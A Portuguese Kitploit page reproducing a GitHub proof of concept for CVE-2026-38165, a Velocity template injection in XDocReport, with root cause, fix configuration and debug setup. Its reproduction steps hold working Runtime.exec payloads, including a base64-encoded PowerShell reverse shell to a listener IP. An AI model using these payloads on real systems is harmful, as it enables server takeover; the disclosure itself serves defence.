Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165 (SSTI) | Kitploit
Ferramentas/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165 (SSTI)

Ver Repositório
137há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-38165 (SSTI Velocity)

Injeção de Template do Lado do Servidor (SSTI) no XDocReport permite Execução Remota de Código via mecanismo Apache Velocity

Definição da Vulnerabilidade

Visão geral da vulnerabilidade

  • Server-Side Template Injection (SSTI) é uma vulnerabilidade de segurança web que permite a um atacante injetar código malicioso em modelos (templates) usados por sistemas de gerenciamento de conteúdo (CMS) e frameworks web, com o objetivo de realizar ataques remotos, obter informações sensíveis ou realizar atividades de invasão de sistemas.

  • SSTI é uma variante de vulnerabilidade de Injeção (como SQL Injection, XSS, etc.), na qual o atacante aproveita o uso de sistemas de templates para implantar código malicioso remotamente. Quando um ataque SSTI é bem-sucedido, o atacante pode executar seu próprio código no servidor, permitindo realizar ataques remotos, como coletar informações sensíveis, realizar atividades de invasão de sistemas e acessar recursos não autorizados.

  • A vulnerabilidade SSTI geralmente ocorre devido ao uso de sistemas de templates inseguros, ou à falta de verificação e tratamento dos parâmetros de entrada antes de inseri-los nos modelos. Se um ataque SSTI for bem-sucedido, as consequências podem ser graves e causar danos significativos à organização atacada.

Impacto nos negócios

  • A vulnerabilidade SSTI pode causar várias consequências graves, incluindo:

  • Execução de código malicioso: O atacante pode explorar essa vulnerabilidade para executar código malicioso no servidor, permitindo roubo de dados, realização de ações ilegais no sistema, ou até mesmo controle total do servidor.

Baixar ferramenta
  • Exposição de informações sensíveis: A SSTI pode permitir que o atacante leia, modifique ou exclua arquivos no servidor. Se esses arquivos contiverem informações sensíveis, como contas e senhas, o atacante pode facilmente expor essas informações.

  • Ataques de ameaça ou engenharia social: O atacante pode usar SSTI para realizar ataques de ameaça ou phishing, alterando o conteúdo do site ou adicionando botões personalizados falsos. Se o usuário clicar nesses botões, o atacante pode roubar informações do usuário ou instalar software malicioso em seu computador.

  • Severidade CRÍTICA

    image

    Descrição e Impacto

    fr.opensagres.xdocreport.template.velocity

    Uma vulnerabilidade de Injeção de Template do Lado do Servidor (SSTI) foi encontrada no OpenSAGRES XDocReport ao processar modelos DOCX com o mecanismo velocity. Sob certas configurações, modelos criados podem levar à Execução Remota de Código (RCE).

    O site de gerenciamento de RH permite que o usuário faça upload de arquivos de documento .docx para o sistema. Durante o processamento, a aplicação utiliza o mecanismo de template velocity (no arquivo) para renderizar o conteúdo sem qualquer mecanismo de controle ou filtragem do conteúdo de entrada. Essa vulnerabilidade permite que o atacante insira expressões maliciosas no arquivo .docx (template), resultando em Execução Remota de Código (RCE) no servidor, podendo ser explorada para roubar informações ou assumir o controle do sistema.

    Componente afetado

    fr.opensagres.xdocreport.template.velocity — XDocReport (versões =< 2.1.0).

    Análise da causa raiz

    https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

    image

    velocityEngine.evaluate(...) é o método padrão do Apache Velocity para avaliar (evaluate) um template a partir de um Reader (ou de uma String) usando um Context e escrever em um Writer. Ele executa a sintaxe VTL (Velocity Template Language) da mesma forma que Template.merge(...)

    Diferença real entre evaluate e Template.merge

    • evaluate: faz parse a partir de Reader/String → útil quando o template é dinâmico/não confiável.

    • getTemplate(...).merge(...): carrega o template já processado pelo resource loader (caching, encoding…), depois faz merge. Em termos de capacidade de execução VTL, ambos executam as mesmas expressões; a diferença principal é no local/modo de carregamento do template.

    Passos para reproduzir

    1. O usuário faz upload de um arquivo .docx com o seguinte payload interno:

    image

    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    1. Observa-se que é possível executar com sucesso o comando do sistema

    image

    1. Similarmente com o seguinte payload:
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    image

    image

    1. Similarmente
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    image

    1. Elevando o impacto para RCE
    • A máquina de escuta é wsl com endereço IP 172.26.208.130

    image

    • Exploração com o seguinte payload:
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    • Envia o arquivo .docx para processamento pelo xdocreport

    image

    • Observa-se que o shell foi capturado na máquina wsl

    image

    Solução

    • https://github.com/opensagres/xdocreport/pull/723

    Bloquear acesso a reflexão perigosa no template.

    root@kitploit:~
    velocityEngineProperties.setProperty(
        "runtime.introspector.uberspect",
        "org.apache.velocity.util.introspection.SecureUberspector"
    );
    

    A classe Apache Velocity SecureUberspector é um sandbox introspector.

    SecureUberspector bloqueará:

    • java.lang.Runtime
    • java.lang.ClassLoader
    • java.lang.Process

    Lista de classes bloqueadas

    root@kitploit:~
    
    velocityEngineProperties.setProperty(
        "introspector.restrict.classes",
        "java.lang.Class,
         java.lang.ClassLoader,
         java.lang.Process,
         java.lang.Runtime,
         java.lang.System,
         java.lang.Thread"
    );
    

    Bloquear pacote de reflexão

    root@kitploit:~
    velocityEngineProperties.setProperty(
        "introspector.restrict.packages",
        "java.lang.reflect"
    );
    

    Bloquear:

    • java.lang.reflect.Method
    • java.lang.reflect.Field

    Configuração do ambiente de depuração

    • no arquivo Main.java
    root@kitploit:~
    package org.example;
    
    import fr.opensagres.xdocreport.document.IXDocReport;
    import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
    import fr.opensagres.xdocreport.template.IContext;
    import fr.opensagres.xdocreport.template.TemplateEngineKind;
    
    import java.io.*;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.InputStream;
    import java.io.OutputStream;
    
    public class Main {
    
        public static void main(String[] args) {
            try {
                // Đọc file đầu vào chứa biểu thức Velocity
                File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
                InputStream input = new FileInputStream(docxTemplate);
    
    //             Load template sử dụng Velocity
                IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
    
    
    
                // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
                IContext context = report.createContext();
    
                // Xuất ra file mới
                OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
                report.process(context, out);
    
                System.out.println("✅ Đã tạo file result.docx thành công.");
            } catch (Exception e) {
                System.err.println("❌ Lỗi xử lý file:");
                e.printStackTrace();
            }
        }
    }
    
    
    • Bibliotecas necessárias para import
    root@kitploit:~
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    
    

    Depuração e análise de source/sink

    • report.process(context, out) — este é o ponto onde o template é renderizado/escrito no arquivo

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image image

    image

    image

    Documentação

    • https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link